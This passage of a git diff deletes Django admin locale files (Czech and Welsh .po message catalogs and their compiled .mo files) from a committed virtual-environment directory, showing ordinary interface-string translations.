"uživatel" - -msgid "content type" -msgstr "typ obsahu" - -msgid "object id" -msgstr "id položky" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "reprez. položky" - -msgid "action flag" -msgstr "příznak operace" - -msgid "change message" -msgstr "zpráva o změně" - -msgid "log entry" -msgstr "položka protokolu" - -msgid "log entries" -msgstr "položky protokolu" - -#, python-format -msgid "Added “%(object)s”." -msgstr "Přidán objekt \"%(object)s\"." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "Změněn objekt \"%(object)s\" — %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "Odstraněna položka \"%(object)s\"." - -msgid "LogEntry Object" -msgstr "Objekt záznam v protokolu" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "Přidáno: {name} \"{object}\"." - -msgid "Added." -msgstr "Přidáno." - -msgid "and" -msgstr "a" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "Změněno: {fields} pro {name} \"{object}\"." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "Změněno: {fields}" - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "Odstraněno: {name} \"{object}\"." - -msgid "No fields changed." -msgstr "Nebyla změněna žádná pole." - -msgid "None" -msgstr "Žádný" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" -"Výběr více než jedné položky je možný přidržením klávesy \"Control\", na " -"Macu \"Command\"." - -msgid "Select this object for an action - {}" -msgstr "Vyberte tento objekt pro akci - {}" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "Položka typu {name} \"{obj}\" byla úspěšně přidána." - -msgid "You may edit it again below." -msgstr "Níže můžete údaje znovu upravovat." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" -"Položka typu {name} \"{obj}\" byla úspěšně přidána. Níže můžete přidat další " -"položku {name}." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" -"Položka typu {name} \"{obj}\" byla úspěšně změněna. Níže ji můžete dále " -"upravovat." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" -"Položka \"{obj}\" typu {name} byla úspěšně změněna. Níže můžete přidat další " -"položku {name}." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "Položka \"{obj}\" typu {name} byla úspěšně změněna." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"K provedení hromadných operací je třeba vybrat nějaké položky. Nedošlo k " -"žádným změnám." - -msgid "No action selected." -msgstr "Nebyla vybrána žádná operace." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "Položka \"%(obj)s\" typu %(name)s byla úspěšně odstraněna." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "Objekt %(name)s s klíčem \"%(key)s\" neexistuje. Možná byl odstraněn." - -#, python-format -msgid "Add %s" -msgstr "%s: přidat" - -#, python-format -msgid "Change %s" -msgstr "%s: změnit" - -#, python-format -msgid "View %s" -msgstr "Zobrazit %s" - -msgid "Database error" -msgstr "Chyba databáze" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "Položka %(name)s byla úspěšně změněna." -msgstr[1] "%(count)s položky %(name)s byly úspěšně změněny." -msgstr[2] "%(count)s položek %(name)s bylo úspěšně změněno." -msgstr[3] "%(count)s položek %(name)s bylo úspěšně změněno." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s položka vybrána." -msgstr[1] "Všechny %(total_count)s položky vybrány." -msgstr[2] "Vybráno všech %(total_count)s položek." -msgstr[3] "Vybráno všech %(total_count)s položek." - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "Vybraných je 0 položek z celkem %(cnt)s." - -#, python-format -msgid "Change history: %s" -msgstr "Historie změn: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s: %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"Odstranění položky \"%(instance)s\" typu %(class_name)s by vyžadovalo " -"odstranění těchto souvisejících chráněných položek: %(related_objects)s" - -msgid "Django site admin" -msgstr "Správa webu Django" - -msgid "Django administration" -msgstr "Správa systému Django" - -msgid "Site administration" -msgstr "Správa webu" - -msgid "Log in" -msgstr "Přihlášení" - -#, python-format -msgid "%(app)s administration" -msgstr "Správa aplikace %(app)s" - -msgid "Page not found" -msgstr "Stránka nenalezena" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Požadovaná stránka nebyla bohužel nalezena." - -msgid "Home" -msgstr "Domů" - -msgid "Server error" -msgstr "Chyba serveru" - -msgid "Server error (500)" -msgstr "Chyba serveru (500)" - -msgid "Server Error (500)" -msgstr "Chyba serveru (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"V systému došlo k chybě. Byla e-mailem nahlášena správcům, kteří by ji měli " -"v krátké době opravit. Děkujeme za trpělivost." - -msgid "Run the selected action" -msgstr "Provést vybranou operaci" - -msgid "Go" -msgstr "Provést" - -msgid "Click here to select the objects across all pages" -msgstr "Klepnutím zde vyberete položky ze všech stránek." - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Vybrat všechny položky typu %(module_name)s, celkem %(total_count)s." - -msgid "Clear selection" -msgstr "Zrušit výběr" - -msgid "Breadcrumbs" -msgstr "Drobečky" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Modely v aplikaci %(name)s" - -msgid "Add" -msgstr "Přidat" - -msgid "View" -msgstr "Zobrazit" - -msgid "You don’t have permission to view or edit anything." -msgstr "Nemáte oprávnění k zobrazení ani úpravám." - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" -"Nejdříve zadejte uživatelské jméno a heslo. Poté budete moci upravovat více " -"uživatelských nastavení." - -msgid "Enter a username and password." -msgstr "Zadejte uživatelské jméno a heslo." - -msgid "Change password" -msgstr "Změnit heslo" - -msgid "Set password" -msgstr "Nastavit heslo" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "Opravte prosím níže uvedenou chybu." -msgstr[1] "Opravte prosím níže uvedené chyby." -msgstr[2] "Opravte prosím níže uvedené chyby." -msgstr[3] "Opravte prosím níže uvedené chyby." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "Zadejte nové heslo pro uživatele %(username)s." - -msgid "" -"This action will enable password-based authentication for " -"this user." -msgstr "" -"Tato akce povolí pro tohoto uživatele ověřování na základě " -"hesla." - -msgid "Disable password-based authentication" -msgstr "Zakázat ověřování pomocí hesla" - -msgid "Enable password-based authentication" -msgstr "Povolit ověřování pomocí hesla" - -msgid "Skip to main content" -msgstr "Přeskočit na hlavní obsah" - -msgid "Welcome," -msgstr "Vítejte, uživateli" - -msgid "View site" -msgstr "Zobrazení webu" - -msgid "Documentation" -msgstr "Dokumentace" - -msgid "Log out" -msgstr "Odhlásit se" - -#, python-format -msgid "Add %(name)s" -msgstr "%(name)s: přidat" - -msgid "History" -msgstr "Historie" - -msgid "View on site" -msgstr "Zobrazení na webu" - -msgid "Filter" -msgstr "Filtr" - -msgid "Hide counts" -msgstr "Skrýt počty" - -msgid "Show counts" -msgstr "Zobrazit počty" - -msgid "Clear all filters" -msgstr "Zrušit všechny filtry" - -msgid "Remove from sorting" -msgstr "Přestat řadit" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Priorita řazení: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Přehodit řazení" - -msgid "Toggle theme (current theme: auto)" -msgstr "Přepnout motiv (aktuální motiv: auto)" - -msgid "Toggle theme (current theme: light)" -msgstr "Přepnout motiv (aktuální motiv: světlý)" - -msgid "Toggle theme (current theme: dark)" -msgstr "Přepnout motiv (aktuální motiv: tmavý)" - -msgid "Delete" -msgstr "Odstranit" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Odstranění položky \"%(escaped_object)s\" typu %(object_name)s by vyústilo v " -"odstranění souvisejících položek. Nemáte však oprávnění k odstranění položek " -"následujících typů:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Odstranění položky '%(escaped_object)s' typu %(object_name)s by vyžadovalo " -"odstranění souvisejících chráněných položek:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Opravdu má být odstraněna položka \"%(escaped_object)s\" typu " -"%(object_name)s? Následující související položky budou všechny odstraněny:" - -msgid "Objects" -msgstr "Objekty" - -msgid "Yes, I’m sure" -msgstr "Ano, jsem si jist(a)" - -msgid "No, take me back" -msgstr "Ne, beru zpět" - -msgid "Delete multiple objects" -msgstr "Odstranit vybrané položky" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Odstranění položky typu %(objects_name)s by vyústilo v odstranění " -"souvisejících položek. Nemáte však oprávnění k odstranění položek " -"následujících typů:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Odstranění vybrané položky typu %(objects_name)s by vyžadovalo odstranění " -"následujících souvisejících chráněných položek:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Opravdu má být odstraněny vybrané položky typu %(objects_name)s? Všechny " -"vybrané a s nimi související položky budou odstraněny:" - -msgid "Delete?" -msgstr "Odstranit?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " Dle: %(filter_title)s " - -msgid "Summary" -msgstr "Shrnutí" - -msgid "Recent actions" -msgstr "Nedávné akce" - -msgid "My actions" -msgstr "Moje akce" - -msgid "None available" -msgstr "Nic" - -msgid "Added:" -msgstr "Přidáno:" - -msgid "Changed:" -msgstr "Změněno:" - -msgid "Deleted:" -msgstr "Smazáno:" - -msgid "Unknown content" -msgstr "Neznámý obsah" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Potíže s nainstalovanou databází. Ujistěte se, že byly vytvořeny " -"odpovídající tabulky a že databáze je přístupná pro čtení příslušným " -"uživatelem." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Jste přihlášeni jako uživatel %(username)s, ale k této stránce nemáte " -"oprávnění. Chcete se přihlásit k jinému účtu?" - -msgid "Forgotten your password or username?" -msgstr "Zapomněli jste heslo nebo uživatelské jméno?" - -msgid "Toggle navigation" -msgstr "Přehodit navigaci" - -msgid "Sidebar" -msgstr "Boční panel" - -msgid "Start typing to filter…" -msgstr "Filtrovat začnete vepsáním textu..." - -msgid "Filter navigation items" -msgstr "Filtrace položek navigace" - -msgid "Date/time" -msgstr "Datum a čas" - -msgid "User" -msgstr "Uživatel" - -msgid "Action" -msgstr "Operace" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "položka" -msgstr[1] "položky" -msgstr[2] "položek" -msgstr[3] "položek" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"Tato položka nemá historii změn. Pravděpodobně nebyla přidána tímto " -"administračním rozhraním." - -msgid "Show all" -msgstr "Zobrazit vše" - -msgid "Save" -msgstr "Uložit" - -msgid "Popup closing…" -msgstr "Vyskakovací okno se zavírá..." - -msgid "Search" -msgstr "Hledat" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s výsledek" -msgstr[1] "%(counter)s výsledky" -msgstr[2] "%(counter)s výsledků" -msgstr[3] "%(counter)s výsledků" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "Celkem %(full_result_count)s" - -msgid "Save as new" -msgstr "Uložit jako novou položku" - -msgid "Save and add another" -msgstr "Uložit a přidat další položku" - -msgid "Save and continue editing" -msgstr "Uložit a pokračovat v úpravách" - -msgid "Save and view" -msgstr "Uložit a zobrazit" - -msgid "Close" -msgstr "Zavřít" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Změnit vybrané položky typu %(model)s" - -#, python-format -msgid "Add another %(model)s" -msgstr "Přidat další %(model)s" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Odstranit vybrané položky typu %(model)s" - -#, python-format -msgid "View selected %(model)s" -msgstr "Zobrazení vybraných %(model)s" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "Děkujeme za dnešní čas strávený s tímto neobyčejným webem." - -msgid "Log in again" -msgstr "Přihlaste se znovu" - -msgid "Password change" -msgstr "Změna hesla" - -msgid "Your password was changed." -msgstr "Vaše heslo bylo změněno." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Zadejte svoje současné heslo a poté dvakrát heslo nové. Omezíme tak možnost " -"překlepu." - -msgid "Change my password" -msgstr "Změnit heslo" - -msgid "Password reset" -msgstr "Obnovení hesla" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Vaše heslo bylo nastaveno. Nyní se můžete přihlásit." - -msgid "Password reset confirmation" -msgstr "Potvrzení obnovy hesla" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "Zadejte dvakrát nové heslo. Tak ověříme, že bylo zadáno správně." - -msgid "New password:" -msgstr "Nové heslo:" - -msgid "Confirm password:" -msgstr "Potvrdit heslo:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Odkaz pro obnovení hesla byl neplatný, možná již byl použit. Požádejte o " -"obnovení hesla znovu." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Návod na nastavení hesla byl odeslán na zadanou e-mailovou adresu, pokud " -"účet s takovou adresou existuje. Měl by za okamžik dorazit." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Pokud e-mail neobdržíte, ujistěte se, že zadaná e-mailová adresa je stejná " -"jako ta registrovaná u vašeho účtu a zkontrolujte složku nevyžádané pošty, " -"tzv. spamu." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Tento e-mail vám byl zaslán na základě vyžádání obnovy hesla vašeho " -"uživatelskému účtu na systému %(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "Přejděte na následující stránku a zadejte nové heslo:" - -msgid "Your username, in case you’ve forgotten:" -msgstr "Pro jistotu vaše uživatelské jméno:" - -msgid "Thanks for using our site!" -msgstr "Děkujeme za používání našeho webu!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "Tým aplikace %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Zapomněli jste heslo? Zadejte níže e-mailovou adresu a systém vám odešle " -"postup k nastavení nového." - -msgid "Email address:" -msgstr "E-mailová adresa:" - -msgid "Reset my password" -msgstr "Obnovit heslo" - -msgid "Select all objects on this page for an action" -msgstr "Vyberte všechny objekty na této stránce pro akci" - -msgid "All dates" -msgstr "Všechna data" - -#, python-format -msgid "Select %s" -msgstr "%s: vybrat" - -#, python-format -msgid "Select %s to change" -msgstr "Vyberte položku %s ke změně" - -#, python-format -msgid "Select %s to view" -msgstr "Vyberte položku %s k zobrazení" - -msgid "Date:" -msgstr "Datum:" - -msgid "Time:" -msgstr "Čas:" - -msgid "Lookup" -msgstr "Hledat" - -msgid "Currently:" -msgstr "Aktuálně:" - -msgid "Change:" -msgstr "Změna:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/cs/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/cs/LC_MESSAGES/djangojs.mo deleted file mode 100644 index db715bc9..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/cs/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/cs/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/cs/LC_MESSAGES/djangojs.po deleted file mode 100644 index 1e8fa737..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/cs/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,332 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Jannis Leidel , 2011 -# Jan Papež , 2024 -# Jiří Podhorecký , 2024 -# Jiří Podhorecký , 2022 -# Jirka Vejrazka , 2011 -# Vláďa Macek , 2012,2014 -# Vláďa Macek , 2015-2016,2020-2021 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2024-05-22 11:46-0300\n" -"PO-Revision-Date: 2024-10-07 07:59+0000\n" -"Last-Translator: Jan Papež , 2024\n" -"Language-Team: Czech (http://app.transifex.com/django/django/language/cs/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: cs\n" -"Plural-Forms: nplurals=4; plural=(n == 1 && n % 1 == 0) ? 0 : (n >= 2 && n " -"<= 4 && n % 1 == 0) ? 1: (n % 1 != 0 ) ? 2 : 3;\n" - -#, javascript-format -msgid "Available %s" -msgstr "Dostupné položky: %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"Seznam dostupných položek %s. Jednotlivě je lze vybrat tak, že na ně v " -"rámečku klepnete a pak klepnete na šipku \"Vybrat\" mezi rámečky." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "" -"Chcete-li filtrovat ze seznamu dostupných položek %s, začněte psát do tohoto " -"pole." - -msgid "Filter" -msgstr "Filtr" - -msgid "Choose all" -msgstr "Vybrat vše" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Chcete-li najednou vybrat všechny položky %s, klepněte sem." - -msgid "Choose" -msgstr "Vybrat" - -msgid "Remove" -msgstr "Odebrat" - -#, javascript-format -msgid "Chosen %s" -msgstr "Vybrané položky %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"Seznam vybraných položek %s. Jednotlivě je lze odebrat tak, že na ně v " -"rámečku klepnete a pak klepnete na šipku \"Odebrat mezi rámečky." - -#, javascript-format -msgid "Type into this box to filter down the list of selected %s." -msgstr "Zadáním do tohoto pole vyfiltrujete seznam vybraných %s." - -msgid "Remove all" -msgstr "Odebrat vše" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Chcete-li najednou odebrat všechny vybrané položky %s, klepněte sem." - -#, javascript-format -msgid "%s selected option not visible" -msgid_plural "%s selected options not visible" -msgstr[0] "%s vybraná volba není viditelná" -msgstr[1] "%s vybrané volby nejsou viditelné" -msgstr[2] "%s vybrané volby nejsou viditelné" -msgstr[3] "%s vybrané volby nejsou viditelné" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "Vybrána je %(sel)s položka z celkem %(cnt)s." -msgstr[1] "Vybrány jsou %(sel)s položky z celkem %(cnt)s." -msgstr[2] "Vybraných je %(sel)s položek z celkem %(cnt)s." -msgstr[3] "Vybraných je %(sel)s položek z celkem %(cnt)s." - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"V jednotlivých polích jsou neuložené změny, které budou ztraceny, pokud " -"operaci provedete." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"Byla vybrána operace, ale dosud nedošlo k uložení změn jednotlivých polí. " -"Uložíte klepnutím na tlačítko OK. Pak bude třeba operaci spustit znovu." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Byla vybrána operace, ale dosud nedošlo k uložení změn jednotlivých polí. " -"Patrně využijete tlačítko Provést spíše než tlačítko Uložit." - -msgid "Now" -msgstr "Nyní" - -msgid "Midnight" -msgstr "Půlnoc" - -msgid "6 a.m." -msgstr "6h ráno" - -msgid "Noon" -msgstr "Poledne" - -msgid "6 p.m." -msgstr "6h večer" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Poznámka: Váš čas o %s hodinu předstihuje čas na serveru." -msgstr[1] "Poznámka: Váš čas o %s hodiny předstihuje čas na serveru." -msgstr[2] "Poznámka: Váš čas o %s hodiny předstihuje čas na serveru." -msgstr[3] "Poznámka: Váš čas o %s hodin předstihuje čas na serveru." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Poznámka: Váš čas se o %s hodinu zpožďuje za časem na serveru." -msgstr[1] "Poznámka: Váš čas se o %s hodiny zpožďuje za časem na serveru." -msgstr[2] "Poznámka: Váš čas se o %s hodiny zpožďuje za časem na serveru." -msgstr[3] "Poznámka: Váš čas se o %s hodin zpožďuje za časem na serveru." - -msgid "Choose a Time" -msgstr "Vyberte čas" - -msgid "Choose a time" -msgstr "Vyberte čas" - -msgid "Cancel" -msgstr "Storno" - -msgid "Today" -msgstr "Dnes" - -msgid "Choose a Date" -msgstr "Vyberte datum" - -msgid "Yesterday" -msgstr "Včera" - -msgid "Tomorrow" -msgstr "Zítra" - -msgid "January" -msgstr "leden" - -msgid "February" -msgstr "únor" - -msgid "March" -msgstr "březen" - -msgid "April" -msgstr "duben" - -msgid "May" -msgstr "květen" - -msgid "June" -msgstr "červen" - -msgid "July" -msgstr "červenec" - -msgid "August" -msgstr "srpen" - -msgid "September" -msgstr "září" - -msgid "October" -msgstr "říjen" - -msgid "November" -msgstr "listopad" - -msgid "December" -msgstr "prosinec" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "Led" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "Úno" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "Bře" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "Dub" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "Kvě" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "Čvn" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "Čvc" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "Srp" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "Zář" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "Říj" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "Lis" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "Pro" - -msgid "Sunday" -msgstr "Neděle" - -msgid "Monday" -msgstr "Pondělí" - -msgid "Tuesday" -msgstr "Úterý" - -msgid "Wednesday" -msgstr "Středa" - -msgid "Thursday" -msgstr "Čtvrtek" - -msgid "Friday" -msgstr "Pátek" - -msgid "Saturday" -msgstr "Sobota" - -msgctxt "abbrev. day Sunday" -msgid "Sun" -msgstr "Ned" - -msgctxt "abbrev. day Monday" -msgid "Mon" -msgstr "Pon" - -msgctxt "abbrev. day Tuesday" -msgid "Tue" -msgstr "Úte" - -msgctxt "abbrev. day Wednesday" -msgid "Wed" -msgstr "Stř" - -msgctxt "abbrev. day Thursday" -msgid "Thur" -msgstr "Čtv" - -msgctxt "abbrev. day Friday" -msgid "Fri" -msgstr "Pát" - -msgctxt "abbrev. day Saturday" -msgid "Sat" -msgstr "Sob" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "N" - -msgctxt "one letter Monday" -msgid "M" -msgstr "P" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "Ú" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "S" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "Č" - -msgctxt "one letter Friday" -msgid "F" -msgstr "P" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "S" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/cy/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/cy/LC_MESSAGES/django.mo deleted file mode 100644 index e20f6a4a..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/cy/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/cy/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/cy/LC_MESSAGES/django.po deleted file mode 100644 index 82e82f78..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/cy/LC_MESSAGES/django.po +++ /dev/null @@ -1,675 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Jannis Leidel , 2011 -# Maredudd ap Gwyndaf , 2014 -# pjrobertson, 2014 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2017-01-19 16:49+0100\n" -"PO-Revision-Date: 2017-09-23 18:54+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Welsh (http://www.transifex.com/django/django/language/cy/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: cy\n" -"Plural-Forms: nplurals=4; plural=(n==1) ? 0 : (n==2) ? 1 : (n != 8 && n != " -"11) ? 2 : 3;\n" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Dilëwyd %(count)d %(items)s yn llwyddiannus." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Ni ellir dileu %(name)s" - -msgid "Are you sure?" -msgstr "Ydych yn sicr?" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Dileu y %(verbose_name_plural)s â ddewiswyd" - -msgid "Administration" -msgstr "Gweinyddu" - -msgid "All" -msgstr "Pob un" - -msgid "Yes" -msgstr "Ie" - -msgid "No" -msgstr "Na" - -msgid "Unknown" -msgstr "Anhysybys" - -msgid "Any date" -msgstr "Unrhyw ddyddiad" - -msgid "Today" -msgstr "Heddiw" - -msgid "Past 7 days" -msgstr "7 diwrnod diwethaf" - -msgid "This month" -msgstr "Mis yma" - -msgid "This year" -msgstr "Eleni" - -msgid "No date" -msgstr "" - -msgid "Has date" -msgstr "" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Teipiwch yr %(username)s a chyfrinair cywir ar gyfer cyfrif staff. Noder y " -"gall y ddau faes fod yn sensitif i lythrennau bach a llythrennau bras." - -msgid "Action:" -msgstr "Gweithred:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Ychwanegu %(verbose_name)s arall" - -msgid "Remove" -msgstr "Gwaredu" - -msgid "action time" -msgstr "amser y weithred" - -msgid "user" -msgstr "" - -msgid "content type" -msgstr "" - -msgid "object id" -msgstr "id gwrthrych" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/3/library/functions.html#repr) -msgid "object repr" -msgstr "repr gwrthrych" - -msgid "action flag" -msgstr "fflag gweithred" - -msgid "change message" -msgstr "neges y newid" - -msgid "log entry" -msgstr "cofnod" - -msgid "log entries" -msgstr "cofnodion" - -#, python-format -msgid "Added \"%(object)s\"." -msgstr "Ychwanegwyd \"%(object)s\"." - -#, python-format -msgid "Changed \"%(object)s\" - %(changes)s" -msgstr "Newidwyd \"%(object)s\" - %(changes)s" - -#, python-format -msgid "Deleted \"%(object)s.\"" -msgstr "Dilëwyd \"%(object)s.\"" - -msgid "LogEntry Object" -msgstr "Gwrthrych LogEntry" - -#, python-brace-format -msgid "Added {name} \"{object}\"." -msgstr "" - -msgid "Added." -msgstr "" - -msgid "and" -msgstr "a" - -#, python-brace-format -msgid "Changed {fields} for {name} \"{object}\"." -msgstr "" - -#, python-brace-format -msgid "Changed {fields}." -msgstr "" - -#, python-brace-format -msgid "Deleted {name} \"{object}\"." -msgstr "" - -msgid "No fields changed." -msgstr "Ni newidwyd unrhwy feysydd." - -msgid "None" -msgstr "Dim" - -msgid "" -"Hold down \"Control\", or \"Command\" on a Mac, to select more than one." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} \"{obj}\" was added successfully." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} \"{obj}\" was changed successfully." -msgstr "" - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Rhaid dewis eitemau er mwyn 